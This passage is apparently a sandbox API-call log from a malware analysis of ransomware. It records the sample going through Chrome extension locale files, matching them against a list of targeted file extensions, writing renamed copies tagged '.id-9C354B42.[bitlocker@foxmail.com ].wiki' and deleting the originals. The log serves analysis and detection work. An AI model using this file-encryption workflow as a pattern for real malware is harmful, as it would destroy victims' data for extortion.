Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.771] lstrlenW (lpString=".zip") returned 4 [0178.771] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.771] lstrlenW (lpString=".rar") returned 4 [0178.771] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.772] lstrlenW (lpString=".bz2") returned 4 [0178.772] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.772] lstrlenW (lpString=".7z") returned 3 [0178.772] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.772] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.772] lstrlenW (lpString=".dbf") returned 4 [0178.772] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.772] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.772] lstrlenW (lpString=".1cd") returned 4 [0178.772] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.772] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\messages.json") returned 155 [0178.772] lstrlenW (lpString=".jpg") returned 4 [0178.772] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.772] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.772] lstrlenW (lpString="messages.json") returned 13 [0178.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.774] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=633) returned 1 [0178.774] CloseHandle (hObject=0x198) returned 1 [0178.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json")) returned 0x2020 [0178.774] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0178.774] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.775] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0178.775] GetLastError () returned 0x0 [0178.775] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x279, lpOverlapped=0x0) returned 1 [0178.777] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0179.048] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.048] WriteFile (in: hFile=0x2dc, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.177] SetEndOfFile (hFile=0x2dc) returned 1 [0179.177] CloseHandle (hObject=0x2dc) returned 1 [0179.446] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.446] SetEndOfFile (hFile=0x198) returned 1 [0179.447] CloseHandle (hObject=0x198) returned 1 [0179.447] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.447] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json")) returned 1 [0179.447] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.447] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.447] lstrlenW (lpString=".doc") returned 4 [0179.447] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.447] lstrlenW (lpString=".docx") returned 5 [0179.447] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.447] lstrlenW (lpString=".pdf") returned 4 [0179.447] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.447] lstrlenW (lpString=".xls") returned 4 [0179.448] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.448] lstrlenW (lpString=".xlsx") returned 5 [0179.448] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.448] lstrlenW (lpString=".ppt") returned 4 [0179.448] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString=".zip") returned 4 [0179.448] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.448] lstrlenW (lpString=".rar") returned 4 [0179.448] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.448] lstrlenW (lpString=".bz2") returned 4 [0179.448] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.448] lstrlenW (lpString=".7z") returned 3 [0179.448] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString=".dbf") returned 4 [0179.448] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString=".1cd") returned 4 [0179.448] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString=".jpg") returned 4 [0179.448] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.448] lstrlenW (lpString=".doc") returned 4 [0179.448] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.448] lstrlenW (lpString=".docx") returned 5 [0179.448] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.448] lstrlenW (lpString=".pdf") returned 4 [0179.449] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.449] lstrlenW (lpString=".xls") returned 4 [0179.449] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.449] lstrlenW (lpString=".xlsx") returned 5 [0179.449] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.449] lstrlenW (lpString=".ppt") returned 4 [0179.449] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.449] lstrlenW (lpString=".zip") returned 4 [0179.449] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.449] lstrlenW (lpString=".rar") returned 4 [0179.449] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.449] lstrlenW (lpString=".bz2") returned 4 [0179.449] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.449] lstrlenW (lpString=".7z") returned 3 [0179.449] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.449] lstrlenW (lpString=".dbf") returned 4 [0179.449] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.449] lstrlenW (lpString=".1cd") returned 4 [0179.449] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 155 [0179.449] lstrlenW (lpString=".jpg") returned 4 [0179.449] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.449] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.450] lstrlenW (lpString="messages.json") returned 13 [0179.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.450] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=783) returned 1 [0179.450] CloseHandle (hObject=0x198) returned 1 [0179.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json")) returned 0x2020 [0179.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.450] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.451] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.451] GetLastError () returned 0x0 [0179.451] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x30f, lpOverlapped=0x0) returned 1 [0179.452] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x310, lpOverlapped=0x0) returned 1 [0179.453] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.453] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.453] SetEndOfFile (hFile=0x1a4) returned 1 [0179.454] CloseHandle (hObject=0x1a4) returned 1 [0179.454] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.454] SetEndOfFile (hFile=0x198) returned 1 [0179.454] CloseHandle (hObject=0x198) returned 1 [0179.454] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.455] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json")) returned 1 [0179.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.455] lstrlenW (lpString=".doc") returned 4 [0179.455] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".docx") returned 5 [0179.455] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.455] lstrlenW (lpString=".pdf") returned 4 [0179.455] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".xls") returned 4 [0179.455] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".xlsx") returned 5 [0179.455] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.455] lstrlenW (lpString=".ppt") returned 4 [0179.455] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.455] lstrlenW (lpString=".zip") returned 4 [0179.455] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".rar") returned 4 [0179.455] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".bz2") returned 4 [0179.455] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.455] lstrlenW (lpString=".7z") returned 3 [0179.455] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.455] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.455] lstrlenW (lpString=".dbf") returned 4 [0179.455] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.456] lstrlenW (lpString=".1cd") returned 4 [0179.456] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.456] lstrlenW (lpString=".jpg") returned 4 [0179.456] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.456] lstrlenW (lpString=".doc") returned 4 [0179.456] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.456] lstrlenW (lpString=".docx") returned 5 [0179.456] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.456] lstrlenW (lpString=".pdf") returned 4 [0179.456] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.456] lstrlenW (lpString=".xls") returned 4 [0179.456] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.456] lstrlenW (lpString=".xlsx") returned 5 [0179.456] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.456] lstrlenW (lpString=".ppt") returned 4 [0179.456] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.456] lstrlenW (lpString=".zip") returned 4 [0179.456] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.456] lstrlenW (lpString=".rar") returned 4 [0179.456] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.456] lstrlenW (lpString=".bz2") returned 4 [0179.457] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.457] lstrlenW (lpString=".7z") returned 3 [0179.457] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.457] lstrlenW (lpString=".dbf") returned 4 [0179.457] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.457] lstrlenW (lpString=".1cd") returned 4 [0179.457] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json") returned 155 [0179.457] lstrlenW (lpString=".jpg") returned 4 [0179.457] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.457] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.457] lstrlenW (lpString="messages.json") returned 13 [0179.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.458] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=671) returned 1 [0179.458] CloseHandle (hObject=0x198) returned 1 [0179.458] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json")) returned 0x2020 [0179.458] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 